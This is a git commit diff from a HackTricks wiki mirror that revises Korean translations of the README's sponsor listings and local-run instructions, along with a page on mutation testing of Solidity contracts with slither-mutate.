mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/race-condition.md', 'src/blockchain/
This commit is contained in:
parent
409cf0a1b9
commit
22a9e9c74a
@ -2,9 +2,9 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks 로고 및 모션 디자인_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks 로고 및 모션 디자인 제작자_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### HackTricks를 로컬에서 실행하기
|
||||
### 로컬에서 HackTricks 실행하기
|
||||
```bash
|
||||
# Download latest version of hacktricks
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||
@ -31,21 +31,19 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
|
||||
로컬에 있는 HackTricks 복사본은 **[http://localhost:3337](http://localhost:3337)** 에서 <5분 후 사용 가능합니다(책을 빌드해야 하므로 잠시 기다려 주세요).
|
||||
|
||||
당신의 로컬 HackTricks 복사본은 <5분 후 **[http://localhost:3337](http://localhost:3337)**에서 이용할 수 있습니다(책을 빌드해야 하므로 잠시 기다려 주세요).
|
||||
|
||||
## Corporate Sponsors
|
||||
## 기업 스폰서
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com)은 슬로건이 **HACK THE UNHACKABLE**인 훌륭한 사이버보안 회사입니다. 자체 연구를 수행하고 자체 해킹 도구를 개발하여 pentesting, Red teams 및 교육과 같은 **여러 가치 있는 사이버보안 서비스를 제공합니다**.
|
||||
[**STM Cyber**](https://www.stmcyber.com)는 슬로건이 **HACK THE UNHACKABLE**인 훌륭한 사이버보안 회사입니다. 자체 연구를 수행하고 자체 해킹 도구를 개발하여 pentesting, Red teams 및 교육과 같은 여러 가지 가치 있는 사이버보안 서비스를 **제공합니다**.
|
||||
|
||||
그들의 **블로그**는 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다
|
||||
그들의 **블로그**는 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다.
|
||||
|
||||
**STM Cyber**는 또한 HackTricks와 같은 사이버보안 오픈 소스 프로젝트를 지원합니다 :)
|
||||
**STM Cyber**는 또한 HackTricks 같은 사이버보안 오픈소스 프로젝트를 지원합니다 :)
|
||||
|
||||
---
|
||||
|
||||
@ -53,7 +51,7 @@ Your local copy of HackTricks will be **available at [http://localhost:3337](htt
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버보안 행사이자 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식의 증진**이라는 사명을 가지고 이 컨퍼런스는 모든 분야의 기술 및 사이버보안 전문가들이 모이는 활발한 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **Spain**에서 가장 영향력 있는 사이버보안 행사이자 **Europe**에서 가장 중요한 행사 중 하나입니다. **the mission of promoting technical knowledge**라는 목표로 기술 및 사이버보안 분야의 다양한 전문가들이 모이는 핵심 만남의 장입니다.
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -65,9 +63,9 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**는 **유럽의 #1** ethical hacking 및 **bug bounty 플랫폼**입니다.
|
||||
**Intigriti**는 **Europe's #1** ethical hacking 및 **bug bounty platform.**
|
||||
|
||||
**Bug bounty tip**: **Intigriti**에 **가입**하세요 — 해커가 만들고 해커를 위해 만든 프리미엄 bug bounty 플랫폼입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하여 최대 **$100,000**의 보상을 받아보세요!
|
||||
Bug bounty 팁: 해커가 만든 해커를 위한 프리미엄 bug bounty platform인 **Intigriti**에 **가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 시작하여 최대 **$100,000**의 보상을 받기 시작하세요!
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -80,7 +78,7 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 손쉽게 구축하고 자동화하세요.
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)을 사용하여 세계에서 가장 **진보된** 커뮤니티 도구로 구동되는 워크플로를 쉽게 구축하고 **자동화**하세요.
|
||||
|
||||
지금 이용해보세요:
|
||||
|
||||
@ -94,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하여 경험 많은 hackers 및 bug bounty hunters와 소통하세요!
|
||||
|
||||
- **Hacking Insights:** 해킹의 짜릿함과 도전 과제를 다루는 콘텐츠를 접하세요
|
||||
- **Real-Time Hack News:** 빠르게 변화하는 해킹 세계의 뉴스와 인사이트를 실시간으로 확인하세요
|
||||
- **Latest Announcements:** 새로 출시되는 bug bounty와 중요한 플랫폼 업데이트 정보를 받아보세요
|
||||
- **Hacking Insights:** 해킹의 스릴과 도전 과제를 다루는 콘텐츠를 접하세요
|
||||
- **Real-Time Hack News:** 실시간 뉴스와 인사이트로 빠르게 변화하는 해킹 세계의 최신 소식을 확인하세요
|
||||
- **Latest Announcements:** 새로 시작되는 bug bounties와 중요한 플랫폼 업데이트를 놓치지 마세요
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 참여하고 최고의 hackers와 협업을 시작하세요!**
|
||||
|
||||
---
|
||||
|
||||
@ -110,9 +108,9 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
|
||||
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**웹 애플리케이션, 네트워크 및 클라우드에 대해 해커의 관점으로 진단하세요**
|
||||
웹 앱, 네트워크 및 클라우드에 대해 hacker의 관점을 얻으세요.
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** 20개 이상의 맞춤 도구를 사용하여 공격 표면을 맵핑하고, 권한 상승을 유도하는 보안 문제를 찾고, 자동화된 exploits를 통해 필수 증거를 수집하여 여러분의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -124,14 +122,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi**는 검색 엔진 결과에 실시간으로 빠르고 쉽게 접근할 수 있는 API를 제공합니다. 그들은 검색 엔진을 크롤링하고, 프록시를 처리하며, 캡차를 해결하고, 모든 구조화된 풍부한 데이터를 파싱해 줍니다.
|
||||
**SerpApi**는 검색 엔진 결과에 **실시간으로 접근(access search engine results)**할 수 있는 빠르고 쉬운 API를 제공합니다. 검색 엔진을 스크랩하고, 프록시를 관리하며, 캡차를 해결하고, 모든 구조화된 리치 데이터를 파싱해 줍니다.
|
||||
|
||||
SerpApi의 구독 플랜 하나로 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크래핑하는 50개 이상의 API에 접근할 수 있습니다.\
|
||||
다른 제공자와 달리, **SerpApi는 단순히 유기적 결과만 스크래핑하지 않습니다**. SerpApi 응답에는 광고, 인라인 이미지 및 비디오, knowledge graphs 등 검색 결과에 포함된 모든 요소와 기능이 일관되게 포함됩니다.
|
||||
SerpApi의 구독은 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크래핑하기 위한 50개 이상의 API 접근을 포함합니다.
|
||||
다른 제공자와 달리, **SerpApi는 단순히 organic results만 스크랩하지 않습니다.** SerpApi 응답에는 광고, 인라인 이미지와 동영상, 지식 그래프 등 검색 결과에 포함된 모든 요소가 일관되게 포함됩니다.
|
||||
|
||||
현재 SerpApi 고객에는 **Apple, Shopify, GrubHub**가 포함됩니다.\
|
||||
자세한 내용은 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**playground**](https://serpapi.com/playground)에서 예제를 실행해 보세요.\
|
||||
[**여기**](https://serpapi.com/users/sign_up)에서 무료 계정을 생성할 수 있습니다.
|
||||
현재 SerpApi 고객에는 **Apple, Shopify, and GrubHub**가 포함됩니다.
|
||||
자세한 내용은 그들의 [**blog**](https://serpapi.com/blog/)**,** 또는 [**playground**](https://serpapi.com/playground)**에서 예제를 시도해 보세요.**
|
||||
**무료 계정 생성**은 [**여기**](https://serpapi.com/users/sign_up)**에서 가능합니다.**
|
||||
|
||||
---
|
||||
|
||||
@ -139,7 +137,7 @@ SerpApi의 구독 플랜 하나로 Google, Bing, Baidu, Yahoo, Yandex 등 다양
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
모바일 애플리케이션과 기기를 보호하기 위해 취약점 연구, 침투 테스트, 리버스 엔지니어링에 필요한 기술과 역량을 배우세요. **iOS 및 Android 보안**을 온디맨드 코스로 학습하고 **인증**을 받으세요:
|
||||
모바일 애플리케이션과 기기를 보호하기 위한 vulnerability research, penetration testing, 및 reverse engineering에 필요한 기술과 역량을 배우세요. 온디맨드 과정을 통해 iOS와 Android 보안을 마스터하고 **get certified** 하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -151,13 +149,13 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net)는 **암스테르담**에 본사를 둔 전문 사이버보안 회사로, **전 세계 기업들을 보호**하기 위해 현대적인 접근 방식으로 **offensive-security services**를 제공합니다.
|
||||
[**WebSec**](https://websec.net)는 **Amsterdam**에 본사를 둔 전문 사이버보안 회사로, **offensive-security services**를 모던한 접근 방식으로 제공하여 전 세계 비즈니스를 최신 사이버 위협으로부터 **protecting** 합니다.
|
||||
|
||||
WebSec는 암스테르담과 Wyoming에 사무소를 둔 국제 보안 회사입니다. 그들은 Pentesting, **Security** 감사, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing 등 **올인원 보안 서비스**를 제공합니다.
|
||||
WebSec는 Amsterdam과 Wyoming에 오피스를 둔 국제 보안 회사입니다. 이들은 Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing 등 **all-in-one security services**를 제공합니다.
|
||||
|
||||
WebSec의 또 다른 장점은 업계 평균과 달리 스스로의 역량에 **매우 자신감**을 가지고 있으며, 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다: "**If we can't hack it, You don't pay it!**". 자세한 내용은 그들의 [**웹사이트**](https://websec.net/en/)와 [**블로그**](https://websec.net/blog/)를 확인하세요!
|
||||
또한 WebSec는 업계 평균과 달리 자신들의 역량에 대해 매우 자신감을 가지고 있으며, 웹사이트에 명시된 바와 같이 "**If we can't hack it, You don't pay it!**" 라는 품질 보장을 제공합니다. 자세한 내용은 그들의 [**website**](https://websec.net/en/) 및 [**blog**](https://websec.net/blog/)를 확인하세요!
|
||||
|
||||
또한 WebSec는 HackTricks의 적극적인 후원사입니다.
|
||||
또한 WebSec는 HackTricks의 헌신적인 서포터이기도 합니다.
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -169,9 +167,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)는 데이터 유출 (leak) 검색 엔진입니다. \
|
||||
우리는 대형이든 소형이든 모든 유형의 데이터 leak에 대해 구글과 유사한 랜덤 문자열 검색을 제공합니다 -- 대형 사례뿐만 아니라 다양한 출처의 데이터를 대상으로 합니다. \
|
||||
사람 검색, AI 검색, 조직 검색, API (OpenAPI) 접근, theHarvester 통합 등 pentester가 필요로 하는 모든 기능을 제공합니다.\
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)는 data breach (leak) 검색 엔진입니다.
|
||||
우리는 여러 출처의 데이터에 대해 크고 작은 모든 유형의 data leaks에 걸쳐 랜덤 문자열 검색(google 유사)을 제공합니다 -- 큰 유출뿐만 아니라 작은 유출까지 모두 포함합니다.
|
||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration 등 pentester가 필요로 하는 모든 기능을 제공합니다.
|
||||
**HackTricks는 계속해서 우리 모두에게 훌륭한 학습 플랫폼이며, 저희는 이를 후원하게 되어 자랑스럽습니다!**
|
||||
|
||||
{{#ref}}
|
||||
@ -185,13 +183,13 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)는 업계 전문가들이 설계하고 주도하는 효과적인 사이버보안 교육을 개발하고 제공합니다. 그들의 프로그램은 이론을 넘어 실제 위협을 반영한 맞춤형 환경을 사용하여 팀에게 깊이 있는 이해와 실전 가능한 기술을 제공합니다. 맞춤형 교육 문의는 [**여기**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)를 통해 문의하세요.
|
||||
**Built for the field. Built around you.**
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)는 업계 전문가들이 설계하고 주도하는 효과적인 사이버보안 교육을 개발하고 제공합니다. 이들의 프로그램은 이론을 넘어 실무 중심의 깊이 있는 이해와 실행 가능한 기술을 팀에 제공합니다. 실제 위협을 반영한 맞춤 환경을 사용하며, 맞춤형 교육 문의는 [**여기**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)로 연락하세요.
|
||||
|
||||
**그들의 교육이 특별한 이유:**
|
||||
* 맞춤형 콘텐츠 및 실습 환경
|
||||
* 최고 수준의 도구 및 플랫폼 지원
|
||||
* 현업 실무자가 설계하고 강의
|
||||
**그들의 교육이 돋보이는 이유:**
|
||||
* 맞춤 제작된 콘텐츠와 랩
|
||||
* 최고 수준의 도구와 플랫폼으로 지원
|
||||
* 실무자가 설계하고 강의
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
@ -203,13 +201,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions는 **교육(Education)** 및 **핀테크(FinTech)** 기관을 위한 전문화된 사이버보안 서비스를 제공하며, 특히 **penetration testing, cloud security assessments**, 및 **compliance readiness**(SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀에는 **OSCP 및 CISSP 자격 보유 전문가**가 포함되어 있어 깊은 기술 전문성과 업계 표준 통찰을 제공합니다.
|
||||
Last Tower Solutions는 Education 및 FinTech 기관을 위한 전문화된 사이버보안 서비스를 제공하며, 특히 penetration testing, cloud security assessments 및 compliance readiness (SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀에는 **OSCP and CISSP certified professionals**가 포함되어 있어 깊은 기술 전문성과 업계 표준에 기반한 인사이트를 제공합니다.
|
||||
|
||||
우리는 자동화된 스캔을 넘어 **수동 기반의 인텔리전스 주도 테스트**를 통해 고위험 환경에 맞춤형 테스트를 제공합니다. 학생 기록 보호에서 금융 거래 보안에 이르기까지, 중요한 자산을 방어할 수 있도록 돕습니다.
|
||||
우리는 자동화 스캔을 넘어서 **manual, intelligence-driven testing**을 통해 고위험 환경에 맞춘 테스트를 제공합니다. 학생 기록 보호부터 금융 거래 보호까지, 중요한 자산을 방어하도록 돕습니다.
|
||||
|
||||
_“질 좋은 방어는 공격을 이해하는 데서 시작됩니다. 우리는 이해를 통한 보안을 제공합니다.”_
|
||||
_“질 좋은 방어는 공격을 아는 데서 시작되며, 우리는 이해를 통해 보안을 제공합니다.”_
|
||||
|
||||
최신 사이버보안 소식을 보려면 그들의 [**블로그**](https://www.lasttowersolutions.com/blog)를 방문하세요.
|
||||
최신 사이버보안 소식과 업데이트는 그들의 [**blog**](https://www.lasttowersolutions.com/blog)에서 확인하세요.
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -219,11 +217,11 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE는 DevOps, DevSecOps 및 개발자들이 Kubernetes 클러스터를 효율적으로 관리, 모니터링 및 보호할 수 있도록 지원합니다. AI 기반 인사이트, 고급 보안 프레임워크 및 직관적인 CloudMaps GUI를 활용하여 클러스터를 시각화하고 상태를 파악하며 자신 있게 조치할 수 있습니다.
|
||||
K8Studio IDE는 DevOps, DevSecOps 및 개발자가 Kubernetes 클러스터를 효율적으로 관리, 모니터링 및 보호할 수 있도록 지원합니다. AI 기반 인사이트, 고급 보안 프레임워크 및 직관적인 CloudMaps GUI를 활용하여 클러스터를 시각화하고 상태를 파악하며 자신 있게 조치할 수 있습니다.
|
||||
|
||||
또한 K8Studio는 모든 주요 kubernetes 배포판(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 등)과 **호환됩니다**.
|
||||
또한 K8Studio는 주요 모든 kubernetes 배포판(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 등)과 **호환**됩니다.
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
@ -232,15 +230,15 @@ https://k8studio.io/
|
||||
|
||||
---
|
||||
|
||||
## License & Disclaimer
|
||||
## 라이선스 및 면책사항
|
||||
|
||||
다음에서 확인하세요:
|
||||
확인하기:
|
||||
|
||||
{{#ref}}
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
{{#endref}}
|
||||
|
||||
## Github Stats
|
||||
## Github 통계
|
||||
|
||||

|
||||
|
||||
|
@ -950,4 +950,4 @@
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing은 "tests your tests" 방식으로, Solidity 코드에 작은 변경사항(mutants)을 체계적으로 도입하고 test suite를 다시 실행합니다. 테스트가 실패하면 해당 mutant는 제거(killed)됩니다. 테스트가 여전히 통과하면 mutant는 생존하여 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다.
|
||||
Mutation testing은 Solidity 코드에 작은 변경(mutants)을 체계적으로 도입하고 테스트 스위트를 다시 실행함으로써 "테스트를 테스트"합니다. 테스트가 실패하면 해당 뮤턴트는 killed됩니다. 테스트가 여전히 통과하면 뮤턴트는 살아남아 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다.
|
||||
|
||||
핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 실제로 동작이 검증되었는지를 보여줍니다.
|
||||
핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 동작이 실제로 단언(asserted)되었는지를 보여줍니다.
|
||||
|
||||
## 왜 Coverage는 오도할 수 있는가
|
||||
## Coverage가 오도할 수 있는 이유
|
||||
|
||||
다음의 간단한 임계값 체크를 살펴보자:
|
||||
다음의 간단한 threshold 검사를 고려해보자:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -18,94 +18,94 @@ return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
단위 테스트가 임계값 아래와 위의 값만 검사하면, equality boundary (==)에 대한 어설션 없이도 라인/분기 커버리지 100%에 도달할 수 있습니다. `deposit >= 2 ether`로 리팩터링하면 이런 테스트를 통과해 프로토콜 로직이 은밀히 깨질 수 있습니다.
|
||||
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
|
||||
|
||||
뮤테이션 테스트는 조건을 변형(mutate)하고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
|
||||
Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
|
||||
|
||||
## 일반적인 Solidity mutation 연산자
|
||||
## Common Solidity mutation operators
|
||||
|
||||
Slither의 mutation 엔진은 다음과 같은 작은 의미 변경 편집을 적용합니다:
|
||||
- 연산자 교체: `+` ↔ `-`, `*` ↔ `/`, 등
|
||||
- 할당 교체: `+=` → `=`, `-=` → `=`
|
||||
- 상수 교체: 0이 아닌 값 → `0`, `true` ↔ `false`
|
||||
- `if`/루프 내부 조건 부정/교체
|
||||
- 전체 라인 주석 처리 (CR: Comment Replacement)
|
||||
- 한 줄을 `revert()`로 교체
|
||||
- 데이터 타입 교체 예: `int128` → `int64`
|
||||
Slither’s mutation engine applies many small, semantics-changing edits, such as:
|
||||
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||
- Condition negation/replacement inside `if`/loops
|
||||
- Comment out whole lines (CR: Comment Replacement)
|
||||
- Replace a line with `revert()`
|
||||
- Data type swaps: e.g., `int128` → `int64`
|
||||
|
||||
목표: 생성된 뮤턴트 100%를 제거하거나, 생존한 뮤턴트에 대해 명확한 근거로 정당화하세요.
|
||||
Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
|
||||
|
||||
## slither-mutate로 뮤테이션 테스트 실행하기
|
||||
## Running mutation testing with slither-mutate
|
||||
|
||||
요구사항: Slither v0.10.2+.
|
||||
Requirements: Slither v0.10.2+.
|
||||
|
||||
- 옵션 및 mutators 나열:
|
||||
- List options and mutators:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry 예시 (결과를 캡처하고 전체 로그를 보관):
|
||||
- Foundry 예제 (결과 캡처 및 전체 로그 보관):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Foundry를 사용하지 않는 경우 `--test-cmd`를 테스트를 실행하는 방식(예: `npx hardhat test`, `npm test`)으로 바꿔주세요.
|
||||
- Foundry를 사용하지 않는 경우, `--test-cmd`을(를) 테스트 실행 방법(예: `npx hardhat test`, `npm test`)으로 바꿔주세요.
|
||||
|
||||
아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
|
||||
아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사를 위해 그곳에 복사됩니다.
|
||||
|
||||
### 출력 이해하기
|
||||
|
||||
리포트 행은 다음과 같습니다:
|
||||
리포트 라인은 다음과 같습니다:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- 대괄호 안의 태그는 뮤테이터 별칭입니다 (예: `CR` = Comment Replacement).
|
||||
- `UNCAUGHT`는 변경된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
|
||||
- `UNCAUGHT`는 변형된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
|
||||
|
||||
## Reducing runtime: prioritize impactful mutants
|
||||
## 실행 시간 단축: 영향력 있는 뮤턴트 우선
|
||||
|
||||
Mutation 캠페인은 몇 시간에서 며칠까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
|
||||
- Scope: 먼저 중요한 contracts/디렉터리만 대상으로 시작한 다음 확장하세요.
|
||||
- Prioritize mutators: 한 줄에서 우선순위가 높은 mutant가 생존하면(예: 전체 줄이 주석 처리됨) 해당 줄에 대해 낮은 우선순위 변형은 건너뛸 수 있습니다.
|
||||
- Parallelize tests if your runner allows it; cache dependencies/builds.
|
||||
- Fail-fast: 변경이 명확히 assertion 간극을 보여줄 때 조기에 중단하세요.
|
||||
Mutation 캠페인은 수시간에서 수일이 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
|
||||
- 범위: 핵심 contracts/디렉토리부터 시작한 뒤 확장하세요.
|
||||
- 뮤테이터 우선순위 지정: 한 줄에서 우선순위가 높은 뮤턴트가 생존하는 경우(예: 전체 줄 주석 처리) 해당 줄의 낮은 우선순 변형은 건너뛸 수 있습니다.
|
||||
- 러너에서 허용하면 테스트를 병렬화하세요; 의존성/빌드를 캐시하세요.
|
||||
- Fail-fast: 변경이 명백히 assertion 격차를 보여주면 조기에 중단하세요.
|
||||
|
||||
## Triage workflow for surviving mutants
|
||||
## 생존한 뮤턴트에 대한 트리아지 워크플로우
|
||||
|
||||
1) 변경된 라인과 동작을 검사하세요.
|
||||
- 변경된 라인을 적용하고 집중된 테스트를 실행해 로컬에서 재현하세요.
|
||||
1) 변경된 줄과 동작을 검사합니다.
|
||||
- 변경된 줄을 적용하고 특정 테스트를 실행해 로컬에서 재현하세요.
|
||||
|
||||
2) 테스트를 강화해 반환값뿐 아니라 상태를 단언하세요.
|
||||
- 동등성 경계 검사 추가(예: test threshold `==`).
|
||||
- 사후 조건을 단언: 잔액, 총 공급량, 권한 효과, 발생한 이벤트 등.
|
||||
2) 테스트를 강화하여 상태(state)를 단언(assert)하세요, 반환값만이 아니라.
|
||||
- 동등성 경계 검사 추가(예: 임계값 `==` 테스트).
|
||||
- 후조건을 단언: 잔액, 총 공급량(total supply), 권한 영향(authorization effects), 발생한 이벤트(emitted events).
|
||||
|
||||
3) 지나치게 관대한 mocks를 현실적인 동작으로 교체하세요.
|
||||
- mocks가 온체인에서 발생하는 전송, 실패 경로, 이벤트 발생을 강제하는지 확인하세요.
|
||||
- mocks가 체인 상에서 발생하는 전송(transfers), 실패 경로(failure paths), 이벤트 발생(event emissions)을 강제하도록 하세요.
|
||||
|
||||
4) fuzz 테스트를 위한 불변식 추가.
|
||||
- 예: 가치 보존, 음수가 아닌 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급 등.
|
||||
4) 퍼즈(fuzz) 테스트를 위한 불변성(invariants)을 추가하세요.
|
||||
- 예: 가치 보존(conservation of value), 음수 불가 잔액(non-negative balances), 권한 불변성, 적용 가능한 경우 단조 증가하는 공급량(monotonic supply).
|
||||
|
||||
5) 생존한 뮤턴트가 제거되거나 명시적으로 정당화될 때까지 slither-mutate를 다시 실행하세요.
|
||||
5) slither-mutate를 다시 실행하여 생존자가 제거되거나 명확히 정당화될 때까지 반복하세요.
|
||||
|
||||
## Case study: revealing missing state assertions (Arkis protocol)
|
||||
## 사례 연구: 누락된 상태 단언 드러내기 (Arkis protocol)
|
||||
|
||||
Arkis DeFi protocol 감사 중 실행한 mutation 캠페인에서 다음과 같은 생존자들이 나타났습니다:
|
||||
Arkis DeFi protocol의 감사 중 수행된 뮤테이션 캠페인에서 다음과 같은 생존자가 나타났습니다:
|
